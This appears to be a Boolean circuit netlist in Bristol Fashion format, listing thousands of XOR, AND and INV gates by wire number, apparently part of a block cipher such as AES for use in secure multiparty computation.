1 33430 22019 22148 XOR +2 1 22148 33430 22134 AND +1 1 21183 33004 INV +2 1 5034 33004 5276 XOR +2 1 5276 5275 4958 XOR +2 1 5011 33004 5128 XOR +2 1 5128 5127 34696 XOR +2 1 34696 477 33416 XOR +2 1 4958 5002 34711 XOR +2 1 34711 462 33431 XOR +2 1 32733 33004 5008 XOR +2 1 4953 5008 34695 XOR +2 1 34695 478 33415 XOR +2 1 33415 33417 20389 XOR +2 1 33416 20389 20391 XOR +2 1 33420 20391 20472 XOR +2 1 33419 20391 20469 XOR +2 1 20396 20391 20471 XOR +2 1 33415 20481 20477 XOR +2 1 20389 20483 20475 XOR +2 1 33414 20475 20474 XOR +2 1 33415 33416 20406 XOR +2 1 20406 20478 20476 XOR +2 1 20483 20406 20479 XOR +2 1 33416 33418 20485 XOR +2 1 20390 20485 20470 XOR +2 1 33417 33416 20366 XOR +2 1 20389 20352 20473 XOR +2 1 33421 33415 20484 XOR +2 1 33421 33416 20482 XOR +2 1 20475 20479 20468 AND +2 1 20468 20392 20395 XOR +2 1 20476 20474 20467 AND +2 1 20484 20469 20465 AND +2 1 20465 20390 20394 XOR +2 1 20481 20477 20464 AND +2 1 20478 20471 20463 AND +2 1 20483 20472 20462 AND +2 1 20462 20391 20393 XOR +2 1 20395 20393 20399 XOR +2 1 33421 20399 20404 XOR +2 1 20485 20470 20461 AND +2 1 20461 20467 20413 XOR +2 1 20413 20404 20459 XOR +2 1 20461 20462 20365 XOR +2 1 20365 20366 20412 XOR +2 1 20412 20394 20411 XOR +2 1 20464 20411 20458 XOR +2 1 20482 20473 20460 AND +2 1 20460 20463 20414 XOR +2 1 20460 20466 20418 XOR +2 1 20418 20390 20405 XOR +2 1 20413 20405 20456 XOR +2 1 20461 20414 20408 XOR +2 1 20394 20414 20368 XOR +2 1 20368 20393 20457 XOR +2 1 20399 20418 20367 XOR +2 1 33419 20367 20410 XOR +2 1 20464 20408 20364 XOR +2 1 33415 20364 20451 XOR +2 1 20459 20458 20455 AND +2 1 20455 20410 20450 XOR +2 1 20455 20457 20454 XOR +2 1 20456 20454 20453 AND +2 1 20453 20410 20452 XOR +2 1 20453 20465 20359 XOR +2 1 20359 20395 20355 XOR +2 1 33421 20355 20358 XOR +2 1 20453 20404 20356 XOR +2 1 33419 20355 20354 XOR +2 1 20450 20451 20449 AND +2 1 20449 20457 20448 XOR +2 1 20455 20449 20447 XOR +2 1 20449 20408 20363 XOR +2 1 20449 20466 20362 XOR +2 1 20362 20463 20357 XOR +2 1 20357 20358 20440 XOR +2 1 20457 20447 20446 AND +2 1 20446 20454 20444 XOR +2 1 20446 20464 20417 XOR +2 1 20417 20411 20438 XOR +2 1 33415 20417 20400 XOR +2 1 20400 20363 20445 XOR +2 1 20452 20444 20443 AND +2 1 20443 20413 20403 XOR +2 1 20403 20405 20442 XOR +2 1 20443 20467 20361 XOR +2 1 20400 20361 20353 XOR +2 1 20390 20353 20360 XOR +2 1 20357 20360 20441 XOR +2 1 20403 20356 20439 XOR +2 1 20353 20354 20437 XOR +2 1 20438 20475 20436 AND +2 1 20445 20474 20435 AND +2 1 20448 33414 20434 AND +2 1 20434 20436 20416 XOR +2 1 20439 20469 20433 AND +2 1 20442 20481 20432 AND +2 1 20452 20471 20431 AND +2 1 20431 20432 20370 XOR +2 1 20440 20472 20430 AND +2 1 20437 20470 20429 AND +2 1 20429 20432 20385 XOR +1 1 20385 20382 INV +2 1 20429 20430 20381 XOR +2 1 20441 20473 20428 AND +2 1 20438 20479 20427 AND +2 1 20445 20476 20426 AND +2 1 20448 20480 20425 AND +2 1 20439 20484 20424 AND +2 1 20424 20428 20401 XOR +2 1 20433 20424 20386 XOR +1 1 20401 20379 INV +2 1 20442 20477 20423 AND +2 1 20431 20423 20388 XOR +2 1 20452 20478 20422 AND +2 1 20379 20422 20378 XOR +2 1 20378 20416 20374 XOR +2 1 20440 20483 20421 AND +2 1 20421 20374 20377 XOR +2 1 20437 20485 20420 AND +2 1 20420 20421 20415 XOR +2 1 20426 20415 20397 XOR +2 1 20427 20397 20398 XOR +2 1 20435 20398 20402 XOR +2 1 20436 20402 20407 XOR +2 1 20388 20415 20384 XOR +2 1 20416 20384 20387 XOR +2 1 20386 20387 20489 XOR +2 1 20379 20384 20383 XOR +2 1 20382 20383 20488 XOR +2 1 20407 20381 20487 XOR +2 1 20397 20374 20373 XOR +2 1 20434 20402 20371 XOR +2 1 20370 20371 34992 XOR +2 1 20441 20482 20419 AND +2 1 20430 20419 20380 XOR +1 1 20380 20376 INV +2 1 20376 20377 20486 XOR +2 1 33431 33433 22057 XOR +2 1 33432 22057 22059 XOR +2 1 33436 22059 22140 XOR +2 1 33435 22059 22137 XOR +2 1 22064 22059 22139 XOR +2 1 33431 22149 22145 XOR +2 1 22057 22151 22143 XOR +2 1 33430 22143 22142 XOR +2 1 33431 33432 22074 XOR +2 1 22074 22146 22144 XOR +2 1 22151 22074 22147 XOR +2 1 22057 22020 22141 XOR +2 1 33437 33431 22152 XOR +2 1 22143 22147 22136 AND +2 1 22136 22060 22063 XOR +2 1 22144 22142 22135 AND +2 1 22129 22135 22081 XOR +2 1 22152 22137 22133 AND +2 1 22133 22058 22062 XOR +2 1 22149 22145 22132 AND +2 1 22146 22139 22131 AND +2 1 22151 22140 22130 AND +2 1 22130 22059 22061 XOR +2 1 22063 22061 22067 XOR +2 1 33437 22067 22072 XOR +2 1 22081 22072 22127 XOR +2 1 22129 22130 22033 XOR +2 1 22033 22034 22080 XOR +2 1 22080 22062 22079 XOR +2 1 22132 22079 22126 XOR +2 1 22150 22141 22128 AND +2 1 22128 22131 22082 XOR +2 1 22128 22134 22086 XOR +2 1 22086 22058 22073 XOR +2 1 22081 22073 22124 XOR +2 1 22129 22082 22076 XOR +2 1 22062 22082 22036 XOR +2 1 22036 22061 22125 XOR +2 1 22067 22086 22035 XOR +2 1 33435 22035 22078 XOR +2 1 22132 22076 22032 XOR +2 1 33431 22032 22119 XOR +2 1 22127 22126 22123 AND +2 1 22123 22078 22118 XOR +2 1 22123 22125 22122 XOR +2 1 22124 22122 22121 AND +2 1 22121 22078 22120 XOR +2 1 22121 22133 22027 XOR +2 1 22027 22063 22023 XOR +2 1 33437 22023 22026 XOR +2 1 22121 22072 22024 XOR +2 1 33435 22023 22022 XOR +2 1 22118 22119 22117 AND +2 1 22117 22125 22116 XOR +2 1 22123 22117 22115 XOR +2 1 22117 22076 22031 XOR +2 1 22117 22134 22030 XOR +2 1 22030 22131 22025 XOR +2 1 22025 22026 22108 XOR +2 1 22125 22115 22114 AND +2 1 22114 22122 22112 XOR +2 1 22114 22132 22085 XOR +2 1 22085 22079 22106 XOR +2 1 33431 22085 22068 XOR +2 1 22068 22031 22113 XOR +2 1 22120 22112 22111 AND +2 1 22111 22081 22071 XOR +2 1 22071 22073 22110 XOR +2 1 22111 22135 22029 XOR +2 1 22068 22029 22021 XOR +2 1 22058 22021 22028 XOR +2 1 22025 22028 22109 XOR +2 1 22071 22024 22107 XOR +2 1 22021 22022 22105 XOR +2 1 22106 22143 22104 AND +2 1 22113 22142 22103 AND +2 1 22116 33430 22102 AND +2 1 22102 22104 22084 XOR +2 1 22107 22137 22101 AND +2 1 22110 22149 22100 AND +2 1 22120 22139 22099 AND +2 1 22099 22100 22038 XOR +2 1 22108 22140 22098 AND +2 1 22105 22138 22097 AND +2 1 22097 22100 22053 XOR +1 1 22053 22050 INV +2 1 22097 22098 22049 XOR +2 1 22109 22141 22096 AND +2 1 22106 22147 22095 AND +2 1 22113 22144 22094 AND +2 1 22116 22148 22093 AND +2 1 22107 22152 22092 AND +2 1 22092 22096 22069 XOR +2 1 22101 22092 22054 XOR +1 1 22069 22047 INV +2 1 22110 22145 22091 AND +2 1 22099 22091 22056 XOR +2 1 22120 22146 22090 AND +2 1 22047 22090 22046 XOR +2 1 22046 22084 22042 XOR +2 1 22108 22151 22089 AND +2 1 22089 22042 22045 XOR +2 1 22105 22153 22088 AND +2 1 22088 22089 22083 XOR +2 1 22094 22083 22065 XOR +2 1 22095 22065 22066 XOR +2 1 22103 22066 22070 XOR +2 1 22104 22070 22075 XOR +2 1 22056 22083 22052 XOR +2 1 22084 22052 22055 XOR +2 1 22054 22055 22157 XOR +2 1 22047 22052 22051 XOR +2 1 22050 22051 22156 XOR +2 1 22075 22049 22155 XOR +2 1 22065 22042 22041 XOR +2 1 22102 22070 22039 XOR +2 1 22038 22039 35040 XOR +2 1 35040 5604 5614 XOR +2 1 22109 22150 22087 AND +2 1 22098 22087 22048 XOR +1 1 22048 22044 INV +2 1 22044 22045 22154 XOR +2 1 5006 5008 5166 XOR +2 1 34819 5166 34720 XOR +2 1 34720 453 33440 XOR +2 1 33440 17470 17472 XOR +2 1 33444 17472 17553 XOR +2 1 33443 17472 17550 XOR +2 1 17477 17472 17552 XOR +2 1 33439 33440 17487 XOR +2 1 17487 17559 17557 XOR +2 1 17564 17487 17560 XOR +2 1 33440 33442 17566 XOR +2 1 17471 17566 17551 XOR +2 1 33441 33440 17447 XOR +2 1 33445 33440 17563 XOR +2 1 17556 17560 17549 AND +2 1 17549 17473 17476 XOR +2 1 17557 17555 17548 AND +2 1 17565 17550 17546 AND +2 1 17546 17471 17475 XOR +2 1 17559 17552 17544 AND +2 1 17564 17553 17543 AND +2 1 17543 17472 17474 XOR +2 1 17476 17474 17480 XOR +2 1 33445 17480 17485 XOR +2 1 17566 17551 17542 AND +2 1 17542 17548 17494 XOR +2 1 17494 17485 17540 XOR +2 1 17542 17543 17446 XOR +2 1 17446 17447 17493 XOR +2 1 17493 17475 17492 XOR +2 1 17545 17492 17539 XOR +2 1 17563 17554 17541 AND +2 1 17541 17544 17495 XOR +2 1 17541 17547 17499 XOR +2 1 17499 17471 17486 XOR +2 1 17494 17486 17537 XOR +2 1 17542 17495 17489 XOR +2 1 17475 17495 17449 XOR +2 1 17449 17474 17538 XOR +2 1 17480 17499 17448 XOR +2 1 33443 17448 17491 XOR +2 1 17545 17489 17445 XOR +2 1 33439 17445 17532 XOR +2 1 17540 17539 17536 AND +2 1 17536 17491 17531 XOR +2 1 17536 17538 17535 XOR +2 1 17537 17535 17534 AND +2 1 17534 17491 17533 XOR +2 1 17534 17546 17440 XOR +2 1 17440 17476 17436 XOR +2 1 33445 17436 17439 XOR +2 1 17534 17485 17437 XOR +2 1 33443 17436 17435 XOR +2 1 17531 17532 17530 AND +2 1 17530 17538 17529 XOR +2 1 17536 17530 17528 XOR +2 1 17530 17489 17444 XOR +2 1 17530 17547 17443 XOR +2 1 17443 17544 17438 XOR +2 1 17438 17439 17521 XOR +2 1 17538 17528 17527 AND +2 1 17527 17535 17525 XOR +2 1 17527 17545 17498 XOR +2 1 17498 17492 17519 XOR +2 1 33439 17498 17481 XOR +2 1 17481 17444 17526 XOR +2 1 17533 17525 17524 AND +2 1 17524 17494 17484 XOR +2 1 17484 17486 17523 XOR +2 1 17524 17548 17442 XOR +2 1 17481 17442 17434 XOR +2 1 17471 17434 17441 XOR +2 1 17438 17441 17522 XOR +2 1 17484 17437 17520 XOR +2 1 17434 17435 17518 XOR +2 1 17519 17556 17517 AND +2 1 17526 17555 17516 AND +2 1 17529 33438 17515 AND +2 1 17515 17517 17497 XOR +2 1 17520 17550 17514 AND +2 1 17523 17562 17513 AND +2 1 17533 17552 17512 AND +2 1 17512 17513 17451 XOR +2 1 17521 17553 17511 AND +2 1 17518 17551 17510 AND +2 1 17510 17513 17466 XOR +1 1 17466 17463 INV +2 1 17510 17511 17462 XOR +2 1 17522 17554 17509 AND +2 1 17519 17560 17508 AND +2 1 17526 17557 17507 AND +2 1 17529 17561 17506 AND +2 1 17520 17565 17505 AND +2 1 17505 17509 17482 XOR +2 1 17514 17505 17467 XOR +1 1 17482 17460 INV +2 1 17523 17558 17504 AND +2 1 17512 17504 17469 XOR +2 1 17533 17559 17503 AND +2 1 17460 17503 17459 XOR +2 1 17459 17497 17455 XOR +2 1 17521 17564 17502 AND +2 1 17502 17455 17458 XOR +2 1 17518 17566 17501 AND +2 1 17501 17502 17496 XOR +2 1 17507 17496 17478 XOR +2 1 17508 17478 17479 XOR +2 1 17516 17479 17483 XOR +2 1 17517 17483 17488 XOR +2 1 17469 17496 17465 XOR +2 1 17497 17465 17468 XOR +2 1 17467 17468 17570 XOR +2 1 17460 17465 17464 XOR +2 1 17463 17464 17569 XOR +2 1 17488 17462 17568 XOR +2 1 17478 17455 17454 XOR +2 1 17515 17483 17452 XOR +2 1 17451 17452 35025 XOR +2 1 17522 17563 17500 AND +2 1 17511 17500 17461 XOR +1 1 17461 17457 INV +2 1 17457 17458 17567 XOR +2 1 35021 35025 5851 XOR +2 1 5001 5008 5140 XOR +2 1 5140 5139 5141 XOR +1 1 5141 34703 INV +2 1 34703 470 33423 XOR +2 1 33423 33425 18443 XOR +2 1 33424 18443 18445 XOR +2 1 33428 18445 18526 XOR +2 1 33427 18445 18523 XOR +2 1 18450 18445 18525 XOR +2 1 33423 18535 18531 XOR +2 1 18443 18537 18529 XOR +2 1 33422 18529 18528 XOR +2 1 33423 33424 18460 XOR +2 1 18460 18532 18530 XOR +2 1 18537 18460 18533 XOR +2 1 18443 18406 18527 XOR +2 1 33429 33423 18538 XOR +2 1 18529 18533 18522 AND +2 1 18522 18446 18449 XOR +2 1 18530 18528 18521 AND +2 1 18515 18521 18467 XOR +2 1 18538 18523 18519 AND +2 1 18519 18444 18448 XOR +2 1 18535 18531 18518 AND +2 1 18532 18525 18517 AND +2 1 18537 18526 18516 AND +2 1 18516 18445 18447 XOR +2 1 18449 18447 18453 XOR +2 1 33429 18453 18458 XOR +2 1 18467 18458 18513 XOR +2 1 18515 18516 18419 XOR +2 1 18419 18420 18466 XOR +2 1 18466 18448 18465 XOR +2 1 18518 18465 18512 XOR +2 1 18536 18527 18514 AND +2 1 18514 18517 18468 XOR +2 1 18514 18520 18472 XOR +2 1 18472 18444 18459 XOR +2 1 18467 18459 18510 XOR +2 1 18515 18468 18462 XOR +2 1 18448 18468 18422 XOR +2 1 18422 18447 18511 XOR +2 1 18453 18472 18421 XOR +2 1 33427 18421 18464 XOR +2 1 18518 18462 18418 XOR +2 1 33423 18418 18505 XOR +2 1 18513 18512 18509 AND +2 1 18509 18464 18504 XOR +2 1 18509 18511 18508 XOR +2 1 18510 18508 18507 AND +2 1 18507 18464 18506 XOR +2 1 18507 18519 18413 XOR +2 1 18413 18449 18409 XOR +2 1 33429 18409 18412 XOR +2 1 18507 18458 18410 XOR +2 1 33427 18409 18408 XOR +2 1 18504 18505 18503 AND +2 1 18503 18511 18502 XOR +2 1 18509 18503 18501 XOR +2 1 18503 18462 18417 XOR +2 1 18503 18520 18416 XOR +2 1 18416 18517 18411 XOR +2 1 18411 18412 18494 XOR +2 1 18511 18501 18500 AND +2 1 18500 18508 18498 XOR +2 1 18500 18518 18471 XOR +2 1 18471 18465 18492 XOR +2 1 33423 18471 18454 XOR +2 1 18454 18417 18499 XOR +2 1 18506 18498 18497 AND +2 1 18497 18467 18457 XOR +2 1 18457 18459 18496 XOR +2 1 18497 18521 18415 XOR +2 1 18454 18415 18407 XOR +2 1 18444 18407 18414 XOR +2 1 18411 18414 18495 XOR +2 1 18457 18410 18493 XOR +2 1 18407 18408 18491 XOR +2 1 18492 18529 18490 AND +2 1 18499 18528 18489 AND +2 1 18502 33422 18488 AND +2 1 18488 18490 18470 XOR +2 1 18493 18523 18487 AND +2 1 18496 18535 18486 AND +2 1 18506 18525 18485 AND +2 1 18485 18486 18424 XOR +2 1 18494 18526 18484 AND +2 1 18491 18524 18483 AND +2 1 18483 18486 18439 XOR +1 1 18439 18436 INV +2 1 18483 18484 18435 XOR +2 1 18495 18527 18482 AND +2 1 18492 18533 18481 AND +2 1 18499 18530 18480 AND +2 1 18502 18534 18479 AND +2 1 18493 18538 18478 AND +2 1 18478 18482 18455 XOR +2 1 18487 18478 18440 XOR +1 1 18455 18433 INV +2 1 18496 18531 18477 AND +2 1 18485 18477 18442 XOR +2 1 18506 18532 18476 AND +2 1 18433 18476 18432 XOR +2 1 18432 18470 18428 XOR +2 1 18494 18537 18475 AND +2 1 18475 18428 18431 XOR +2 1 18491 18539 18474 AND +2 1 18474 18475 18469 XOR +2 1 18480 18469 18451 XOR +2 1 18481 18451 18452 XOR +2 1 18489 18452 18456 XOR +2 1 18490 18456 18461 XOR +2 1 18442 18469 18438 XOR +2 1 18470 18438 18441 XOR +2 1 18440 18441 18543 XOR +2 1 18433 18438 18437 XOR +2 1 18436 18437 18542 XOR +2 1 18461 18435 18541 XOR +2 1 18451 18428 18427 XOR +2 1 18488 18456 18425 XOR +2 1 18424 18425 35053 XOR +2 1 18495 18536 18473 AND +2 1 18484 18473 18434 XOR +1 1 18434 18430 INV +2 1 18430 18431 18540 XOR +2 1 17513 17514 32679 XOR +2 1 32679 17488 35026 XOR +2 1 35022 35026 5846 XOR +2 1 17510 32679 17490 XOR +2 1 17506 17490 17456 XOR +1 1 17456 17453 INV +2 1 17453 17454 35024 XOR +2 1 17511 17490 17450 XOR +2 1 17479 17450 35027 XOR +2 1 35020 35024 5856 XOR +2 1 35023 35027 5825 XOR +2 1 5825 5695 5694 XOR +2 1 5825 35021 5701 XOR +2 1 18486 18487 32686 XOR +2 1 18483 32686 18463 XOR +2 1 18479 18463 18429 XOR +1 1 18429 18426 INV +2 1 18484 18463 18423 XOR +2 1 18452 18423 35055 XOR +2 1 18426 18427 35052 XOR +2 1 35053 35052 5577 XOR +2 1 32686 18461 35054 XOR +2 1 20432 20433 32700 XOR +2 1 32700 20407 34993 XOR +2 1 20429 32700 20409 XOR +2 1 20425 20409 20375 XOR +1 1 20375 20372 INV +2 1 20372 20373 34991 XOR +2 1 20430 20409 20369 XOR +2 1 20398 20369 34994 XOR +2 1 22100 22101 32712 XOR +2 1 32712 22075 35041 XOR +2 1 35041 35035 5655 XOR +2 1 22097 32712 22077 XOR +2 1 22093 22077 22043 XOR +1 1 22043 22040 INV +2 1 22040 22041 35039 XOR +2 1 35039 5611 5610 XOR +2 1 22098 22077 22037 XOR +2 1 22066 22037 35042 XOR +2 1 35038 35042 5831 XOR +1 1 5831 5612 INV +1 1 17569 32933 INV +2 1 5856 32933 5739 XOR +1 1 17570 32934 INV +1 1 17567 32939 INV +1 1 17568 32940 INV +1 1 18542 32949 INV +1 1 18543 32950 INV +1 1 18540 32955 INV +2 1 32955 35054 5792 XOR +1 1 18541 32956 INV +1 1 20486 32985 INV +1 1 20487 32986 INV +1 1 20488 32987 INV +1 1 20489 32988 INV +1 1 22157 33009 INV +1 1 22296 33013 INV +2 1 33013 32934 5863 XOR +1 1 22154 33014 INV +2 1 33014 25641 5652 XOR +1 1 22155 33015 INV +2 1 33015 25642 5650 XOR +1 1 22156 33016 INV +2 1 33016 25643 5657 XOR +1 1 22293 33018 INV +2 1 33018 32939 5841 XOR +2 1 5841 35026 5737 XOR +1 1 22294 33019 INV +2 1 35023 33019 5690 XOR +1 1 22295 33020 INV +2 1 33020 32933 5859 XOR +2 1 5825 33020 5704 XOR +1 1 25644 33068 INV +2 1 33009 33068 5608 XOR +1 1 32081 33221 INV +2 1 5027 33221 5237 XOR +2 1 5237 5236 34760 XOR +2 1 34760 413 33480 XOR +2 1 33221 32745 4990 XOR +1 1 4990 5081 INV +2 1 4990 5027 5059 XOR +2 1 34846 5059 34768 XOR +2 1 34768 405 33488 XOR +2 1 5081 4995 5083 XOR +2 1 4948 33221 5056 XOR +2 1 4950 4990 34775 XOR +2 1 34775 398 33495 XOR +2 1 33495 33497 5472 XOR +2 1 33496 5472 5474 XOR +2 1 33500 5474 5556 XOR +2 1 33489 33488 5310 XOR +2 1 33488 33490 5429 XOR +2 1 33493 33488 5426 XOR +2 1 5567 5556 5546 AND +2 1 5546 5474 5476 XOR +2 1 5472 5567 5559 XOR +2 1 33495 33496 5489 XOR +2 1 5567 5489 5563 XOR +2 1 5559 5563 5552 AND +2 1 5552 5475 5478 XOR +2 1 5478 5476 5482 XOR +2 1 33501 5482 5487 XOR +2 1 33501 33495 5568 XOR +2 1 33480 33482 22014 XOR +2 1 33481 33480 21895 XOR +1 1 32082 33222 INV +2 1 5033 33222 5280 XOR +2 1 33222 5055 34766 XOR +2 1 34766 407 33486 XOR +2 1 5280 5279 4956 XOR +2 1 4956 5015 34759 XOR +2 1 34759 414 33479 XOR +2 1 33222 32746 4982 XOR +2 1 4982 5030 5070 XOR +2 1 32770 5070 34774 XOR +2 1 34774 399 33494 XOR +2 1 33494 33500 5479 XOR +2 1 5479 5474 5555 XOR +2 1 4982 5015 5057 XOR +2 1 5057 5056 5058 XOR +1 1 5058 34767 INV +2 1 4982 5045 5080 XOR +2 1 32909 5080 34782 XOR +2 1 34782 391 33502 XOR +2 1 34767 406 33487 XOR +2 1 33487 33488 5350 XOR +2 1 33494 5559 5558 XOR +2 1 33493 33487 5428 XOR +2 1 5427 5350 5423 XOR +2 1 33479 33481 21918 XOR +2 1 33480 21918 21920 XOR +2 1 33483 21920 21998 XOR +2 1 33479 33480 21935 XOR +2 1 33487 33489 5333 XOR +2 1 33488 5333 5335 XOR +2 1 5333 5427 5419 XOR +2 1 5419 5423 5412 AND +2 1 33486 5419 5418 XOR +2 1 33502 33508 23454 XOR +1 1 32360 33225 INV +2 1 32756 33225 4977 XOR +2 1 4977 5043 5220 XOR +2 1 32913 33225 5260 XOR +2 1 5261 5260 4964 XOR +2 1 4964 4978 34743 XOR +2 1 34743 430 33463 XOR +2 1 33463 33465 20250 XOR +2 1 33464 20250 20252 XOR +2 1 33468 20252 20333 XOR +2 1 33467 20252 20330 XOR +2 1 33463 33464 20267 XOR +2 1 32913 5220 34750 XOR +2 1 34750 423 33470 XOR +2 1 33470 33476 20813 XOR +2 1 20807 20813 20895 XOR +2 1 33475 20813 20898 XOR +2 1 4977 4989 5197 XOR +2 1 4977 5036 5209 XOR +2 1 32752 5209 34742 XOR +2 1 34742 431 33462 XOR +2 1 33462 33468 20257 XOR +2 1 20257 20252 20332 XOR +2 1 33467 20257 20342 XOR +2 1 33463 20342 20338 XOR +2 1 33462 20212 20341 XOR +2 1 20341 33462 20327 AND +2 1 20342 20338 20325 AND +2 1 33225 5180 34726 XOR +2 1 34726 447 33446 XOR +2 1 33446 15332 15331 XOR +2 1 33446 33452 15253 XOR +2 1 15253 15248 15328 XOR +2 1 15247 15253 15335 XOR +2 1 15263 15335 15333 XOR +2 1 33451 15253 15338 XOR +2 1 33447 15338 15334 XOR +2 1 33446 15208 15337 XOR +2 1 15333 15331 15324 AND +2 1 15318 15324 15270 XOR +2 1 15270 15261 15316 XOR +2 1 15337 33446 15323 AND +2 1 15317 15323 15275 XOR +2 1 15275 15247 15262 XOR +2 1 15270 15262 15313 XOR +2 1 15256 15275 15224 XOR +2 1 33451 15224 15267 XOR +2 1 15338 15334 15321 AND +2 1 15321 15268 15315 XOR +2 1 15335 15328 15320 AND +2 1 15317 15320 15271 XOR +2 1 15318 15271 15265 XOR +2 1 15251 15271 15225 XOR +2 1 15225 15250 15314 XOR +2 1 15321 15265 15221 XOR +2 1 33447 15221 15308 XOR +2 1 15316 15315 15312 AND +2 1 15312 15267 15307 XOR +2 1 15312 15314 15311 XOR +2 1 15313 15311 15310 AND +2 1 15310 15267 15309 XOR +2 1 15310 15322 15216 XOR +2 1 15216 15252 15212 XOR +2 1 33453 15212 15215 XOR +2 1 15310 15261 15213 XOR +2 1 33451 15212 15211 XOR +2 1 15307 15308 15306 AND +2 1 15306 15314 15305 XOR +2 1 15312 15306 15304 XOR +2 1 15306 15265 15220 XOR +2 1 15306 15323 15219 XOR +2 1 15219 15320 15214 XOR +2 1 15214 15215 15297 XOR +2 1 15314 15304 15303 AND +2 1 15303 15311 15301 XOR +2 1 15303 15321 15274 XOR +2 1 15274 15268 15295 XOR +2 1 33447 15274 15257 XOR +2 1 15257 15220 15302 XOR +2 1 15309 15301 15300 AND +2 1 15300 15270 15260 XOR +2 1 15260 15262 15299 XOR +2 1 15300 15324 15218 XOR +2 1 15257 15218 15210 XOR +2 1 15247 15210 15217 XOR +2 1 15214 15217 15298 XOR +2 1 15260 15213 15296 XOR +2 1 15210 15211 15294 XOR +2 1 15295 15332 15293 AND +2 1 15302 15331 15292 AND +2 1 15305 33446 15291 AND +2 1 15291 15293 15273 XOR +2 1 15296 15326 15290 AND +2 1 15299 15338 15289 AND +2 1 15309 15328 15288 AND +2 1 15288 15289 15227 XOR +2 1 15297 15329 15287 AND +2 1 15294 15327 15286 AND +2 1 15286 15289 15242 XOR +1 1 15242 15239 INV +2 1 15286 15287 15238 XOR +2 1 15298 15330 15285 AND +2 1 15295 15336 15284 AND +2 1 15302 15333 15283 AND +2 1 15305 15337 15282 AND +2 1 15296 15341 15281 AND +2 1 15281 15285 15258 XOR +2 1 15290 15281 15243 XOR +1 1 15258 15236 INV +2 1 15299 15334 15280 AND +2 1 15288 15280 15245 XOR +2 1 15309 15335 15279 AND +2 1 15236 15279 15235 XOR +2 1 15235 15273 15231 XOR +2 1 15297 15340 15278 AND +2 1 15278 15231 15234 XOR +2 1 15294 15342 15277 AND +2 1 15277 15278 15272 XOR +2 1 15283 15272 15254 XOR +2 1 15284 15254 15255 XOR +2 1 15292 15255 15259 XOR +2 1 15293 15259 15264 XOR +2 1 15245 15272 15241 XOR +2 1 15273 15241 15244 XOR +2 1 15243 15244 15346 XOR +2 1 15236 15241 15240 XOR +2 1 15239 15240 15345 XOR +2 1 15264 15238 15344 XOR +2 1 15254 15231 15230 XOR +2 1 15291 15259 15228 XOR +2 1 15227 15228 35012 XOR +2 1 15298 15339 15276 AND +2 1 15287 15276 15237 XOR +1 1 15237 15233 INV +2 1 15233 15234 15343 XOR +2 1 15289 15290 32663 XOR +2 1 32663 15264 35013 XOR +2 1 15286 32663 15266 XOR +2 1 15282 15266 15232 XOR +1 1 15232 15229 INV +2 1 15229 15230 35011 XOR +2 1 15287 15266 15226 XOR +2 1 15255 15226 35014 XOR +2 1 35014 35027 5835 XOR +2 1 5835 35025 5586 XOR +1 1 5835 5582 INV +2 1 5582 32934 5580 XOR +2 1 5582 35024 5583 XOR +2 1 5863 5835 5741 XOR +1 1 15346 32905 INV +1 1 15343 32910 INV +2 1 32939 32910 5736 XOR +1 1 15344 32911 INV +2 1 35014 32911 5717 XOR +2 1 32911 32940 5844 XOR +2 1 5844 5825 5734 XOR +2 1 5844 33018 5707 XOR +1 1 15345 32912 INV +1 1 32079 33226 INV +2 1 33226 32767 5010 XOR +2 1 5010 5022 5052 XOR +2 1 32080 33226 5066 XOR +2 1 5067 5066 5068 XOR +2 1 4979 5010 5063 XOR +1 1 5068 34772 INV +2 1 34772 401 33492 XOR +2 1 33490 33492 5336 XOR +2 1 5010 34857 5076 XOR +2 1 5076 5075 34779 XOR +2 1 34779 394 33499 XOR +2 1 33499 33501 5473 XOR +2 1 33499 5474 5553 XOR +2 1 32914 5063 34771 XOR +2 1 34771 402 33491 XOR +2 1 33491 33493 5334 XOR +2 1 33226 5088 34787 XOR +2 1 34787 386 33507 XOR +2 1 32744 5052 34764 XOR +2 1 34764 409 33484 XOR +2 1 33492 5335 5416 XOR +2 1 33491 5335 5413 XOR +2 1 5412 5336 5339 XOR +2 1 33486 33492 5340 XOR +2 1 5334 5340 5422 XOR +2 1 5350 5422 5420 XOR +2 1 5336 33491 5295 XOR +2 1 5420 5418 5411 AND +2 1 5428 5413 5409 AND +2 1 5409 5334 5338 XOR +2 1 33491 5340 5425 XOR +2 1 33487 5425 5421 XOR +2 1 5336 5334 5296 XOR +2 1 5333 5296 5417 XOR +2 1 33486 5295 5424 XOR +2 1 5424 33486 5410 AND +2 1 5425 5421 5408 AND +2 1 5427 5416 5406 AND +2 1 5406 5335 5337 XOR +2 1 5339 5337 5343 XOR +2 1 33493 5343 5348 XOR +2 1 5426 5417 5404 AND +2 1 5404 5410 5362 XOR +2 1 5362 5334 5349 XOR +2 1 5343 5362 5311 XOR +2 1 33491 5311 5354 XOR +2 1 5473 5569 5554 XOR +2 1 5334 5429 5414 XOR +2 1 5429 5414 5405 AND +2 1 5405 5411 5357 XOR +2 1 5405 5406 5309 XOR +2 1 5309 5310 5356 XOR +2 1 5356 5338 5355 XOR +2 1 5408 5355 5402 XOR +2 1 5340 5335 5415 XOR +2 1 5422 5415 5407 AND +2 1 5404 5407 5358 XOR +2 1 5405 5358 5352 XOR +2 1 5408 5352 5308 XOR +2 1 33487 5308 5395 XOR +2 1 5338 5358 5312 XOR +2 1 5312 5337 5401 XOR +2 1 33499 5479 5565 XOR +2 1 33495 5565 5561 XOR +2 1 5565 5561 5548 AND +2 1 5357 5349 5400 XOR +2 1 5475 5473 5435 XOR +2 1 5472 5435 5557 XOR +2 1 5475 33499 5434 XOR +2 1 5473 5479 5562 XOR +2 1 5489 5562 5560 XOR +2 1 5560 5558 5551 AND +2 1 33494 5434 5564 XOR +2 1 5564 33494 5550 AND +2 1 5568 5553 5549 AND +2 1 5549 5473 5477 XOR +2 1 5562 5555 5547 AND +2 1 5569 5554 5545 AND +2 1 5545 5551 5496 XOR +2 1 5496 5487 5543 XOR +2 1 5545 5546 5448 XOR +2 1 5448 5449 5495 XOR +2 1 5495 5477 5494 XOR +2 1 5548 5494 5542 XOR +2 1 5543 5542 5539 AND +2 1 5566 5557 5544 AND +2 1 5544 5547 5497 XOR +2 1 5544 5550 5501 XOR +2 1 5501 5473 5488 XOR +2 1 5496 5488 5540 XOR +2 1 5545 5497 5491 XOR +2 1 5548 5491 5447 XOR +2 1 33495 5447 5535 XOR +2 1 5477 5497 5451 XOR +2 1 5451 5476 5541 XOR +2 1 5482 5501 5450 XOR +2 1 33499 5450 5493 XOR +2 1 5539 5493 5534 XOR +2 1 5534 5535 5533 AND 